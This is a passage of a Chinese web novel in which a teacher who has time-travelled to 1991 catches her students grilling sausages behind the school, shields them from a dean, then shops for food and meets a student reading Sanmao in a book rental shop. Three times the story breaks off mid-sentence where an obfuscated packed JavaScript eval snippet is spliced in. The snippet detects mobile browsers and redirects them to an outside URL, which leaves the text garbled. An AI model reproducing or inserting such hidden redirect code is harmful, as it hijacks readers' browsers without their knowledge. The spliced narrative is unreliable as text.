她更多地是想了解学生最近的动向,同时用这种限制少、要求低的作业,让他们保持最基本的遣词造句能力。毕竟,如果脑子太久不用,再聪明的人也会退化。 是以,徐嘉禾对周记除了要求一定要写之外,对内容本身没有做任何限制。 五班周记本的内容也五花八门,很多人写了个今天天气很好就再无下文,偷懒直接抄小虎队、忧欢派对的歌词的也不少。 不过还有一个徐湛,洋洋洒洒写了好几大页满是生僻字句、半文半白、晦涩难懂的散文诗。徐嘉禾从头到尾细细看下去,一边为他的文采而惊讶,一边感觉脑仁在发疼。 都快中午了,徐嘉禾才慢慢把周记看完。她看得头昏脑涨,算算时间也差不多了,伸了个懒腰,拎着饭盒起身,去教师食堂打中午饭。 看着食堂千篇一律的炒土豆丝和一看上去就让人没什么食欲的几片肥肉,徐嘉禾几不可闻地叹了口气。她勉强吃了几口,随即立刻下定了决心,周末一定要去趟菜市场,买点肉回家来自己改善伙食。 徐嘉禾本来想着把午饭打回办公室,一边吃一边还能备备下午的课。结果她刚拿着饭盒恹恹地走进办公室,许晴就抱着作业本路过,随口和她搭话:“徐老师,你们班那几个皮猴子又不见了。” “你看见了?”徐嘉禾刚把饭盒放下,闻言猛回头。 “差不多吧,就是刚刚从操场回来的时候,看见们班几个孩子神神秘秘的,往锅炉房后面钻,”许晴摇摇头,“那几个小子,肯定没干好事。” 锅炉房在操场的角落,后面就是学校绿树掩映的后山,那个角落堆放的全是废弃的课桌椅和石料木头之类的建材,平时罕有人至。 午休的时间,他们一群人往后山去干什么? 徐嘉禾道了谢,她原本没打算去抓人的,但许晴好意提醒,她还一副若无其事的样子、连装都不装一下,未免显得有些太不负责了。 想着反正没什么事情干,去后山逛两圈权当健身了,徐嘉禾伸了个懒腰,起身往操场的方向走去。 刚走到锅炉房附近,一阵微风拂过,徐嘉禾脚步一顿,意外闻到了一股淡淡的香味。 那味道让徐嘉禾眼睛都亮了,她停下脚步,又仔细嗅了嗅,一点没错,就是肉被烤熟的油脂香味。 只是,她刚刚从教职工食堂出来,今天的菜色还是常年不变的那几样,这香味显然也不是那几样看上去就清汤寡水、没滋没味的菜能发出来的。 这下,徐嘉禾被勾起了些好奇心,判断了风向,循着味道往香味的来源走去。 她越往后山的方向走,香味就越浓,隐隐约约还能听到几个人的嬉笑打闹声;再走近点,她甚至还看见了树丛间隙里隐隐约约的青烟。 徐嘉禾眯了眯眼,没有打草惊蛇,而是躲在坡后面的视野盲区,悄悄往那个方向看过去。 就算没有许晴的提示,徐嘉禾冥冥之中也已经有预感,能够这么调皮捣蛋的,多半都是自己班上的学生。但真真正正看到那几张熟悉的脸时,她还是有些哭笑不得。 林间清理出了一片空地,正中间挖了个坑,里面正燃着橙红色的火焰,周围散落了几本已经被撕得七零八落的作业本和书页,看来,这些可怜的书本是被拿来当燃料了。 还有四五个学生蹲在周围,手里的木棍上串了几截黑乎乎的东西在火上烤,一个二个都望眼欲穿地盯着手里的烤肉。 徐嘉禾一时不知自己是该气还是该笑,她迅速扫了一眼周围环境,好在五班的学生们还算有点分寸,是清了一片相对空旷的泥地,火势也控制在挖的坑里,看样子没打算把学校后山点了。 至于这几个学生,徐嘉禾是再熟悉不过了。 领头那个全神贯注举着烤串的叫周文瑞,以潇洒自由著称,在五班虽然不能和谢昭比,但也算有点名望; 唯一一个女生不是谢昭那个混世魔王,而是看起来乖乖巧巧的物理课代表吕晓杨,上次偷吃猪油渣的也是她。她正蹲在稍远一点的地方,一边往火坑里加作业本纸、一边用被放弃的硬质书壳在旁边扇风。 让徐嘉禾有些惊讶的是,她居然还在旁边看到了徐湛。 他倒是没直接动手烤,只是偶尔用棍子捅一捅坑里燃烧的灰,一副游离在外的样子。但那时不时飘向烤串的眼神,还是暴露了徐湛并非真正无动于衷。 几个家伙一边警惕地四处张望,一边熟练地翻烤着手里的烤串,个个脸上都写满了做坏事的兴奋和对食物的期待。 “家里面灌的香肠最好吃了,”吕晓杨真情实感地颂香肠,“一口咬下去油汪汪的,全是好肉。” 她这话一出,在场的所有人都没忍住咽了咽口水。 徐嘉禾也不例外,她闻着那愈发清晰诱人的香味,忍不住就开始回忆小时候家里自己熏的香肠腊肉的滋味。 虽然怎么看都压根看不出来他们烤的那玩意是香肠,但她被食堂饭菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117117|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折磨了两个星期的肠胃已经开始宣告宕机了。 徐嘉禾想起已经被自己冷落在了办公室的午饭,更加觉得食之无味起来。 “瑞哥,这香肠是你从你家里拿的?”另一个男生眼睛直勾勾地看着香肠,擦了擦嘴角不存在的口水,“不怕你妈揍你?” “怕什么,我都多大了还揍我啊?再说了,我说给同学分着吃了,我妈还得夸我大方呢,”周文瑞满不在乎,他回头一看,急道,“等一下,等一下,晓杨你别烧语文书啊!” 徐嘉禾听到这句话,欣慰地捂着胸口,不禁为自己的科目居然拥有豁免权而幸福了一秒。 “语文书纸太厚了,烧起来熏眼睛,”下一刻,周文瑞的话就打碎了徐嘉禾短暂的幻梦,“你换语文卷子吧,纸软一点。” 徐嘉禾:“……” 果然是她在自作多情! “知道了,但这作业本烧得太快了,烟还大。”吕晓杨从善如流地放下了语文书,转头接过徐湛默默递来的物理练习册,抱怨,“下次还是找点旧报纸什么的吧。” 她一边说着,一边火眼金睛地去抓懒懒散散蹲在旁边的男生:“你别走神啊,好好望风,盯着点成吗?” “这地方鬼都不来,”被点了大名的男生不情不愿地站起来,“我都不知道为什么要望风……” 他抬头,视线往周围一圈一扫,话刚说到一半就戛然而止,脸色瞬间变得惨白。 “干什么呢?怎么都不说话了?”周文瑞背对着他们,看不到具体情况,只是感觉自己的同伴忽然都没声儿了,疑惑地回头。 接着他就看见,自己的班主任正站在山坡上,双手抱臂,好整以暇地看着他们:“还想有下次呢?” 周文瑞手里的烤串直接掉进了火堆里,吕晓杨维持着扇风的姿势僵在原地,徐湛默默把手里的棍子往旁边一丢,假装无事发生。 最先反应过来的,居然是那个可谓玩忽职守了的望风的。他唰地一下弹起来,挤出一个比哭还难看的笑容:“徐、徐老师?” 他这一嗓子,把呆在原地的其他人也叫醒了。 周文瑞咽了咽口水,看了眼徐嘉禾,实在有些舍不得香肠。他纠结了半天,还是一咬牙伸手想去把烤一半的串捞出来,结果被烫得龇牙咧嘴。 吕晓杨当机立断,把物理练习册的封皮随手一丢,用眼神示意同伴们赶紧销毁证据,自己迎上来遮住徐嘉禾的视线:“徐老师……” “挺会享受啊,”徐嘉禾似笑非笑地看她,走到几个同学拼尽全力无法扑灭的火堆旁,蹲下身,“还知道挑地方,这里确实隐蔽。” 周文瑞干笑着后退两步,把香肠往背后藏:“徐、徐老师……您怎么来了?” “闻着香味就来了。”徐嘉禾实话实说。 她看了看火堆旁作业本死不瞑目的残骸,又看了看学生们脸上混杂着被抓包的心虚、到嘴的香肠飞了的遗憾,以及一丝倒霉到了极点之后的释怀。 倒是没什么恶意,就纯是少年人嘴馋。 徐嘉禾也没有发火,而是弯腰,从旁边地上捡起一根细长的树枝,拨弄了一下火堆里那块被周文瑞失手掉进去的、已经完全黑了的香肠,语气平淡:“烤糊了。” 学生们一愣。 “这烧烤技术也不行啊。”徐嘉禾直起身,拍了拍手上的灰,目光扫过他们每个人。 徐湛被她的眼神盯着,抬眼看了看徐嘉禾,嘴唇动了动,没发出声音,又把头低下去了。 “徐湛,”徐嘉禾问,“你怎么也跟着他们胡闹?” “他们叫我来的,但是是我自己也想吃,”徐湛的声音低得像蚊子哼。他纠结了片刻,又补充了一句,“我拿来烧的作业是上个学期的了。” “怎么,原来你也知道烧作业是不对的啊,”徐嘉禾有点想笑,“香肠好吃吗?” 徐湛老实摇头:“我还没吃。” 徐嘉禾:“……” 行。 8. 第 8 章 这群人之中,要数周文瑞脸皮最厚、胆子最大。短暂的呆滞之后,他破罐子破摔,顺着徐嘉禾的话往下接:“那徐老师,你说这香肠烤糊了的话还能吃吗?” “外面都烤成这焦炭一样了,还想着吃呢?吃了也不怕拉肚子。”徐嘉禾嫌弃地用树枝把那块黑炭拨到一边,目光落在另外几个人拿着的、卖相稍微好点的香肠上,“这几串看着还能救一下。” “看着我干什么?”她见几个学生都呆呆地看过来,连低着头装鸵鸟半天的徐湛都抬起头看她,奇道,“还不赶紧把香肠拿远点慢慢烘?别把这几串也浪费了。” 一群人这才如梦方醒,条件反射般遵从了指令。徐嘉禾这话一出,连吕晓杨的胆子都大起来了,试探着问:“徐老师,你不骂我们吗?” “干嘛骂你们?骂你们嘴馋还是骂你们烧作业本?”徐嘉禾低头看了看,忽然有些庆幸自己今天穿的是深色裤子。 她找了块看上去还算干净的石头坐下,托着腮看着这群忙忙碌碌的学生:“嘴馋人之常情,不算什么恶习;至于作业本,烧都烧了,就算骂你们,你们还能让作业本变回来吗?” 吕晓杨没想到徐嘉禾居然这么开明,没忍住“啊”了一声。 “不过呢,”徐嘉禾话锋一转,“在树丛里点火,真亏你们想得出来,周围全是易燃物,随便一阵风助火势都能把林子给点了。到时候,我看你们怎么收场。” 周文瑞又重新穿了一截香肠架回火上烤,眼神却还时不时地瞄向徐嘉禾的方向,闻言讪讪地笑:“我们挖了坑,也看着呢……” “我知道你们有在小心,要不然,我现在就要报警抓纵火犯了,”徐嘉禾开了个小玩笑,“不过,意外之所以是意外,就是因为它发生得突然;这次没出事,是你们运气好,不是你们做得对。” 几个人都安静下来,盯着手里的香肠不说话了。 场子忽然冷了,吕晓杨眨了眨眼,心思活络起来。 她看了看周文瑞新烤的那串香肠,这串是目前看起来烤得最均匀、颜色最漂亮的,忽然开口:“周文瑞,你那串是不是该烤好了?看起来很好吃的样子诶。” 周文瑞顺着她的目光看向自己手中的香肠,果然油光发亮,比之前那串黑炭不知道诱人了多少。他颇为惊喜地看着徐嘉禾:“真的诶,徐老师,好厉害!” “既然徐老师都教我们烤香肠了,”吕晓杨循循善诱,“我们是不是也应该为徐老师做点什么?” 就算周文瑞再迟钝,这会儿也听出吕晓杨的暗示了。 但因为刚刚烤糊了一串,这串要是给出去,他作为带香肠来的人,自己都吃不了多少了,一时间居然有些纠结起来。 看着周文瑞那副盯着香肠天人交战的样子,徐嘉禾心中暗笑,面上却只是摆了摆手:“行了,自己留着吃吧,我还能和你们小孩子抢吃的不成?” “怎么还舍不得上了,你傻啊?我们犯错被徐老师逮了,你还不哄着她点?”吕晓杨见徐嘉禾出言拒绝,顿时急了,悄悄用手肘顶了顶周文瑞,“我待会儿不吃就是了,你快把这份给她啊。” “谁说我舍不得了,我只是觉得还欠点火候。”周文瑞的脸红了,连忙找了个借口反驳。他急急地把手里的香肠杵到徐嘉禾面前,眼睛亮晶晶的,满脸都写着快表扬我四个大字,“徐老师,尝尝我烤的好不好?” 徐嘉禾本来还想拒绝,但她刚张口说了个“不”字,周围一群满脸期待看着她的少男少女顿时把脸垮了下去,就连一旁的徐湛眼里的光都黯淡了几分。 徐嘉禾要拒绝的话就这么卡在了喉咙里。 她看着眼前这根还冒着滋滋油光的香肠,热食的香气混合着霸道的油脂气息直往鼻子里钻;又看了看旁边一个个眼巴巴地看着她的学生,一时间真的很想报警。 为了维持自己作为班主任的宏伟形象,而不是显得出尔反尔、朝令夕改,徐嘉禾很想拒绝。 但到底要是什么样的人,才能够抗拒得了那么多人如此殷切的、像小狗一样期待地看着她的眼神啊? 沉默了一会儿,徐嘉禾最终还是伸出了手,却没有接过周文瑞手上的香肠,只是从上面掰了一小块。 她小心地吹了吹被烫到的手指,把那块香肠送进嘴里。香肠入口,熟悉的烟熏味和香辣味席卷了整个口腔。 饶是从小都比较偏好甜香肠的徐嘉禾,这会儿都感觉自己要被这种粗犷原始的香味给折服了。 几个学生一脸期待地屏住呼吸,眼巴巴地盯着徐嘉禾,等待她的审判。 徐嘉禾慢条斯理地咽下嘴里的香肠,心里已经有了计较:“周文瑞?” “到!”周文瑞忽然被点了大名,整个人一激灵,坐直了身子。 “香肠是你带到学校来的?”徐嘉禾问,“你妈妈知道吗?” “知道,”周文瑞挠了挠头,“我说学校菜太难吃了,带点香肠来学校吃;不过我没说我要烤了吃。” “看来还算老实,没从家里偷,”徐嘉禾笑了笑,“香肠的味道很不错,谢谢。” 周文瑞没想到还能从老师嘴里听到一声“谢谢”,脸腾地红了,讷讷地说不出话。 “东西是好东西,做的事情就不见得是好事情了。”徐嘉禾抱着手臂,悠悠地说,“具体犯了些什么错误,我想各位自己也清楚吧?” 虽说知道徐嘉禾应该不会因为一口香肠就放过他们,但是“贿赂”战术大失败,一群人又蔫巴了下去:“清楚……” “看在你们也给我分了香肠的份上,我们也算是共犯了,”徐嘉禾看着一群心情全写在脸上的孩子,心软了,最后还是松了口,“我假装没看见,你们赶紧把火灭了,东西收拾干净,香肠带回去分着吃,别浪费。” “这是第一次犯,我可以放你们一马,但下次要是再被我抓到,绝不轻饶。” 学生们呆呆地看着她,就是没有一个人敢动。 “还愣着干什么?”徐嘉禾催促道,“真想等刘主任闻着味儿过来啊?他可没我这么好说话哦。” 这话一出比任何威胁都管用,她话音刚落,刚才还发愣的几个人立马行动起来,一群人手忙脚乱却意外效率奇高。 周文瑞和另一个男生迅速用泥土把火坑重新填平,吕晓杨把烧剩的作业本残骸塞进口袋里,徐湛则默默把那些烤好的香肠,用带来的旧报纸重新包好。 “我说到做到,不逮你们,”徐嘉禾站起身,拍了拍裤子上的草屑和尘土,“不过,你们也得说到做到。下不为例,记住了没有?” “记住了记住了!”几个人忙不迭点头,动作整齐划一。 “行,赶紧回去教室吧,午休都快结束了,”徐嘉禾看了眼手表,“记得洗洗手,别一身烟熏火燎的味。” 她话音还未落,操场往后山来的方向忽然传来了一阵急促的脚步声。脚步声由远及近,听起来还不止一个人。 刚刚放松下来的学生们瞬间又僵住了,徐湛抱着没吃完的香肠,脸色发白地看向徐嘉禾。 “快,往这边。”徐嘉禾当机立断,招呼着同学们往树林深处走。那里虽然草木茂盛、有些难走,但能绕到操场另一头。 吕晓杨闻言,一把拉起还在发愣的周文瑞,徐湛也迅速跟上。徐嘉禾走在最后,不忘用脚把刚才填平的火坑又踩了几下,把土踩平。 几人刚躲进树丛里,两个身影就出现在了空地边缘。 其中一人正是刘主任,他背着手,皱眉环顾四周:“刚才是不是有烟?我明明看到这边有烟冒出来。” 另一个是后勤李老师,他低声说了句什么,徐嘉禾没听清。 两人在空地上转了一圈,刘主任的皮鞋踩在刚才埋火坑的泥土上,碾了碾。虽然徐嘉禾刚才让学生们把火彻底灭了,土也填平了,但新翻的泥土颜色和周围终究有些细微差别。 “肯定有学生在这儿捣鼓过什么,”两个人对视一眼,刘主任脸色就沉了下来,“我记得上个月高三有群人在这儿点鞭炮吧?差点把那些破桌子给点着了……” 说着,他忽然提高声音,对着林子方向喊:“谁在那儿?出来!” 徐嘉禾知道刘主任指定是诈他们的,倒是没什么反应。然而,几个学生却被这一嗓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐湛看着徐嘉禾疑惑的眼神,纠结了片刻,从兜里掏出了被单独包装好的一小根香肠,塞进徐嘉禾手里:“这个是我后面烤的,没糊,你试试。” 说完,不等徐嘉禾反应,他就快步追上前面的同学,身影很快消失在树丛后。 徐嘉禾握着那截香肠,愣了愣,摇头失笑。 这孩子。 陪着这群学生折腾了半天,看着徐湛塞给自己的香肠,徐嘉禾才终于想起来自己还没吃午饭。她叹了口气,顺着正路往办公室走去。 “哟,回来了?”徐嘉禾推开办公室门,许晴闻声回头,“怎么样?抓着人没有?” “没看着啊,”徐嘉禾摆了摆手,坐回自己的位置上打开饭盒,“也不知道他们跑哪儿去了。” 好人做到底、送佛送到西,也没必要这个时候把徐湛一行人卖给许晴。 许晴抿着唇,盯着徐嘉禾看了两秒,忽然噗嗤一下笑出声来。 “行了,别装了,我你还信不过?”她站起身,去把办公室的门关上了,好整以暇地看着徐嘉禾,“要是没什么事,你会去那么久才回来?他们是不是又干什么坏事让你给兜住了?” 徐嘉禾知道瞒不过这位心细的同事,无奈地笑了笑,简单把事情说了一遍。 “哎哟,给我看看,他们还把香肠分给你啊,这么乖?”许晴听完,啧啧称奇,从徐嘉禾手里要来徐湛给的香肠,颇为好奇地看,“不过你也是真的胆子大,这种事情都敢包庇?” “都是半大孩子,没造成什么实际后果,教育一下就行了。”徐嘉禾端起茶杯抿了一口,“再说了,我不信你小时候没干过这种事。” “理是这个理,不过要是真被刘主任逮着了,这几个小子最少也得挨个处分。”许晴摇了摇头,“要我说,虽然他们最近表现得还不错,但你还是要小心为上。你对他们这么好,五班孩子说不准要蹬鼻子上脸呢。” 徐嘉禾笑着点了点头,并没有把许晴的警告放在心上。 不过很快,她就会知道,许晴的话没有半句虚言。 9. 第 9 章 周六的早晨,待徐嘉禾一觉睡醒,已经是中午了。 虽说无论在哪里的菜市场,都是清晨的菜最为丰富和新鲜,但徐嘉禾确实很难为了买更新鲜的菜而早起。 反正她比较懒,总是会买一大堆菜,接着囤在冰箱里吃上两三天。买再新鲜的菜,到真正炒了吃的时候都蔫了,徐嘉禾也就不去着急这三四个小时了。 她慢悠悠地起床洗漱,从衣柜里翻了半天,找出了一套浅灰的薄棉服穿上,在贴在衣柜里的镜子上照了照,这才满意地收拾了布包,骑车往社区的菜市场去。 锦宁渐渐已步入冬天,不过菜场的菜仍然是种类繁多,绿油油地摞在大大的竹垫子上,有的摊位旁边还摆着剥好的胡豆和玉米粒。 家禽们挤在三轮自行车上叫个不停,农民们坐在垫布和竹筐后的木头小板凳上,抄着手一边聊天一边吆喝着,等人来问了价格,拿杆秤称出重量。 时间虽然已经过午,菜市场仍然忙碌而喧嚷。徐嘉禾先在市场口的小摊买了份加紫菜和虾米的馄炖,热热地吃上了一碗,接着又买了个香菇肉馅的包子,一边吃一边推着自行车在人群之中穿梭。 逛了一圈下来,徐嘉禾的车筐里堆满了各式各样的食材,绿叶菜有之、土豆番茄有之、鸡蛋猪肉亦有之。 她还去买调料的摊位买了些花里胡哨的调料,整根的辣椒、辣椒面和花椒、豆豉都有,她还买了条剖好切片的鱼挂在自行车把手上,准备带回家今晚做水煮鱼吃。 从菜市场门口出去,徐嘉禾心满意足地推着沉重的自行车,准备着往家走,余光却被一旁的一抹鹅黄攫住了。 是一位正在卖花的老太太,她穿着深红格纹的棉服,戴了顶黑色小帽,正笑眯眯地和周围的熟人小贩聊天。 她面前两个竹编的筒里插了大把大把的腊梅枝,用红布条捆起来以免散开或者折断。 那腊梅开得正好,枝桠上一片叶子也没有,全是小朵小朵金黄的花。花瓣半透明,聚在一起油亮亮、蜜津津,像玉雕成的,有的修长枝桠上还带着柔嫩的花苞。 都不用走近,从旁边经过了,清冷的空气就能裹挟着香味往人鼻子里钻。腊梅的香味不像它的外表那么淡然,反而霸道至极地把周围鱼肉蔬菜混杂的味道全压了过去。 见徐嘉禾看向她的方向,老太太回过头来:“妹儿,要买腊梅不?自家院坝里剪的,开得正好呢。” 确实很香,徐嘉禾深吸了一口气,感受那沁人心脾的香味。 在现代的时候,她和谢昭都对花不很有兴趣,但徐湛爱花。为了他的这个爱好,谢昭和徐湛年轻时要买婚房,甚至还专门买了阴冷潮湿的一楼,就是为了那片花园。 一闲下来,徐湛就打理他的那片小花园。一开始园里只有花,但也没有花店惯有的玫瑰月季康乃馨,种的尽是什么栀子花、金桂树、腊梅树、蓝花楹,还支了葡萄架牵了葡萄藤。 后来,谢昭和徐湛又有了徐嘉禾。 徐嘉禾小时候喜欢在花园里跑来跑去,挖泥巴、抓蚯蚓、欺负西瓜虫。但她不喜欢花,她喜欢种菜,所以花园的一半又成了徐嘉禾的菜园。 后来徐嘉禾上了小学,喜欢上了吃无花果,徐湛又不知从哪儿寻了棵无花果树种在花园的角落,专门供徐嘉禾摘果子吃。 徐嘉禾过去一直不太理解,自己看上去一贯木讷呆板的理工男爸爸,为什么会有这种看上去就颇有生活情调的爱好。 现下看来,或许这才是徐湛的本性,他一贯是这样文艺而富有浪漫气息的。 在现代,每逢一个花季,锦宁也有这样的老太太,在大街小巷卖些时令的花卉。徐湛总会在某些晚上忽然买了些花回来,把徐嘉禾喝过的奶茶杯子洗干净倒上水,把花在餐桌上放上几天。 这会儿,徐嘉禾看着这些随手捆扎的腊梅枝,忽然也有了买上几枝的冲动。 “怎么卖?”徐嘉禾问。 “两毛五一枝,你多买算你便宜点,五枝一块钱。”老太太抽出一支腊梅,递给徐嘉禾看,“你看,这花好着呢,回去给点水,花骨朵开了要活好久。” 这个价格在徐嘉禾的接受范围之内,她挑了几支开得最盛的,老太太又选了支几乎全是骨朵的送给她。 徐嘉禾从老太太手中接过包好的花束,付了钱,将花束小心翼翼地放进了已经堆满了各种食材的车筐里。金黄的花朵支在灰扑扑的塑料袋上,瞬间将周围的一切都点亮了。 有了这把花,徐嘉禾到家时,心情都好了不少。 她把买来的东西分门别类放进冰箱里,腊梅则找了个被遗忘在橱柜深处的瓷瓶洗净了,接上水,将花枝插了进去。 徐嘉禾将花枝一支支解开,把杯子放在窗口的餐桌上。阳光透过窗玻璃照进来,微微透过腊梅花瓣,在屋里留下淡色的影子。几枝腊梅疏落有致,顿时给她这间简单的屋子增添了几分生气和暖意。 徐嘉禾后退两步,欣赏着自己的杰作,满意地点了点头。 这束花,象征着她徐嘉禾在1991年终于不再是以单纯的“生存下去”为目标,而是开始有闲心研究生活质量和审美情调问题了。 可喜可贺,可喜可贺。 徐嘉禾心满意足地拎着买的菜,往厨房走去,先是把蔬菜拿出来洗干净,土豆切成片,又把鱼腌上。 一切准备工作做完,徐嘉禾熟练地起锅烧油,加入花椒和辣椒段,用热油把香味呛出来;又加入豆瓣酱炒出红油,加水烧开,接着又下入鱼片、土豆、豆芽之类的配菜,盖上锅盖焖了一会儿。 看着差不多了,她最后撒上辣椒面和葱段、蒜蓉、香菜,再淋上一勺滚烫的热油,将水煮鱼端出了锅。 虽说吃太烫对身体不好,但徐嘉禾此刻已经顾不上那么多了。她盛了满满一大碗米饭,就着热气腾腾的水煮鱼,一边小心地吹着,一边把裹了红油的、雪白滑嫩的鱼块放进嘴里。 鱼肉甫一入嘴,麻辣鲜香的味道刺激着味蕾,让徐嘉禾感动得要落泪,几乎要被自己的手艺所折服了。 这才是人吃的东西啊! 吃饱喝足,徐嘉禾瘫在椅子上,感受着撑得有些难受的肚子,看着窗外渐斜的日光,感到一种久违的、简单的满足。她哄了自己半天,才终于起身收拾了凌乱的厨房和餐桌。 看着时间还早,徐嘉禾打算出门走走,顺便去附近最大的那家租书店,看看能不能淘到点有意思的书,用来打发晚上备课后的闲暇时光。 这个年代,网络尚未出现,电视节目也有限,书籍和报刊杂志是人们最主要的娱乐和资讯来源。然而,如果想看的书全都买下来,价格太高,大家很难承受得起。 是以,租书店成为了九十年代街头常见的风景。租书店狭小的店面里,总是密密麻麻摆着许多书架,墙面上也摞着书籍,一直能到天花板。 租书店一般各式各样的书籍都有,武侠、言情、科幻、世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117119|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界名著……花上几毛钱,就能租一本回去看上好几天。 是以,许多学生和年轻人在闲暇时间,除了录像厅和游戏厅外,最爱光顾的地方就是租书店了。 这家租书店叫“醉墨书屋”,是徐嘉禾有一天骑车回家的时候意外找到的。她骑自行车路过时,常常看见少女少男们围在店里,一边笑闹一边看书。 徐嘉禾前些天好奇,就停了车进去看了看。醉墨书屋看上去只是一间灰扑扑的砖房,里面的空间却意外地大,来这家店租书的学生也非常多。 店主是一对老夫妻,相当和蔼可亲,租书的学生实在没钱,他们会不收押金;学生们不租书,只在店里站着看,他们也从来不会说什么不好。 徐嘉禾将自行车停在醉墨书屋的卷帘门前时,房间里已站了不少穿着校服或便装的学生。他们挤在狭窄的过道里,有的在书架前纠结选哪一本,有的蹲在角落捧着书看得入神。 女生多围在言情小说分类的书架那里,一边看琼瑶一边叽叽喳喳地聊天;男生则要么看金庸要么看古龙,一个个满脸兴奋、表情丰富。 小店门口的木桌子上,老夫妻中的爷爷正戴着老花镜修补一本脱了线的书,奶奶则在柜台后织着毛线、偶尔抬头看看店里的情况。 “徐老师来了?”奶奶抬头,恰巧看见徐嘉禾,便笑眯眯地抬手打招呼,“今天想看点什么书?” 徐嘉禾第一次来的时候,就和奶奶聊了几句天;后来她隔几天就来租两本书,一来二去,徐嘉禾就和奶奶爷爷混熟了。 “随便看看,”徐嘉禾也笑着回应,“奶奶,最近有什么新到的书吗?” “新书不多,有本今年才得奖的,那个叫《平凡的世界》的到了,放在那边角落里。”奶奶指了指书店深处,“你要不找找看?听说写得还不错,还没人租走呢。” 《平凡的世界》徐嘉禾作为一个现代的高中语文老师,自然是早就读过了,还不止读过一遍。不过她还是点头谢过了奶奶的好意,沿着过道慢慢往里走。 空气里有那种发了黄的旧纸张特有的气味,还混合着淡淡的霉味和墨香。越往里走,远离了外面喧闹的流行小说区域,里面就越发安静下来。 走到散文区的时候,徐嘉禾手指轻轻拂过书架上一本本书的书脊,忽然看到了一个熟悉的名字:三毛。 徐嘉禾忽然想起,三毛,不就是在1991年初结束自己的生命的吗? 徐嘉禾从小就读过三毛的书,在她的青春期,三毛的文字更让她深深地共情与感慨。在看到这个名字的一瞬间,她忽然对自己现在所处的时代有了更深刻的实感。 她甚至忍不住开始想象,如果自己不是在1991年快要结束的时候,才回到了这个时间段的锦宁,而是在更早、更早的时候,比如说1990年,她说不定能和三毛见上一见,说上几句话。 如果有可能的话,她说不定还能制止悲剧的发生…… 当然,就算徐嘉禾真的回到了1990年,这似乎也不太可能。 徐嘉禾正想得入神,余光忽然瞥见了,角落里有一个熟悉的身影。若不是她的角度恰好能看到,恐怕很难发现那里有人。 那个人正安静地蜷在书店最深处靠墙的角落,几乎完全隐没在里。他穿着一件蓝色的夹克,背微微弓着,手里正捧着一本三毛文选,全神贯注、呆呆地看,仿佛周围的一切嘈杂都与他无关。 那人正是徐湛。 10. 第 10 章 徐湛翻动书页的动作很轻,眉头微微蹙着,午后的光线从高处的窗子斜射进来,照在他细软的发丝和专注的侧脸上,勾勒出一圈毛茸茸的光晕。 该怎么说,果然每一个文艺青年,最终都逃不过三毛吗? 徐嘉禾没有立刻出声叫他,犹豫着是该悄然离开,还是打个招呼。正在这时,徐湛似乎感觉到了什么他翻页的动作一顿,缓缓抬头,朝徐嘉禾的方向看来。 四目相对。 徐湛手里的书一下子没拿住,“啪嗒”一下掉在了地上。他惊慌失措地站起身,衣服差点把地上的小马扎也给带倒了:“徐……徐老师……” “反应这么大做什么,”徐嘉禾也没想到居然被徐湛发现了,当即随机应变改变策略,笑着上前拍了拍他的肩,“在读书是好事情呀。” 徐湛白净的脸颊一下子变得通红,他手忙脚乱地把掉在地上的书捡起来,声音低低的:“我……我就是随便看看。” “在看三毛?我也喜欢她的书。”徐嘉禾语气轻快,试图让已经快僵在原地动弹不得的人不要再那么紧张。她走到徐湛旁边的书架,抽出一本《撒哈拉的故事》,“她笔下的世界很美。” 1991年,一个崭新而美丽的世界正在这一代青年们面前缓缓拉开帷幕。 在年轻人们都挤在幕布前,探头探脑、谁都不敢就这样踏进新世界时,三毛的文字成为了一个五彩缤纷的窗口,为年轻人们展现了一种独特的、魅力无限的生活方式与观察世界的视角。 “我以为,老师你也会觉得我不务正业。”徐湛小心翼翼地看着徐嘉禾,似乎是在判断她的表情到底是不是认真的,浅色的眼睛里有些惊喜,“很多老师都这么觉得,考试不考的东西都没用。” “这是什么话?考试不考的东西多了,难不成都没用吗?”徐嘉禾摇了摇头,“只能说明他们挺没品味的。” 三毛的观念虽说不一定全对,但她的文笔才华、对极细微的生活小事也能保留着热情的生活态度,在徐嘉禾看来都值得学习和欣赏。 “其实就像他们不喜欢那些没用的东西一样,我也不喜欢那些所谓有用的东西,”徐湛抿了抿唇,“上学,考试,以后工作,结婚,生孩子,然后变老,死掉。” “每个人都这样活着,可是,为什么要这样?意义在哪里?”徐湛转过头,看向徐嘉禾,“徐老师,你觉得你的人生有意义吗?” 徐嘉禾一时语塞。 意义?她的人生意义是什么? 在现代,是努力读书,考个好大学,找份稳定工作,当着她的班主任,按部就班地生活。 但如果这就是全部,那意义何在? 就连徐嘉禾,都没有完全想明白徐湛刚刚提出的那个过分深奥的问题。 这也是为什么在成为了班主任之后,徐嘉禾反而觉得自己的生活似乎失去了动力。 她并不真正地热爱着教书育人,只是她按部就班地活着,到了该找一份工作的时候了。 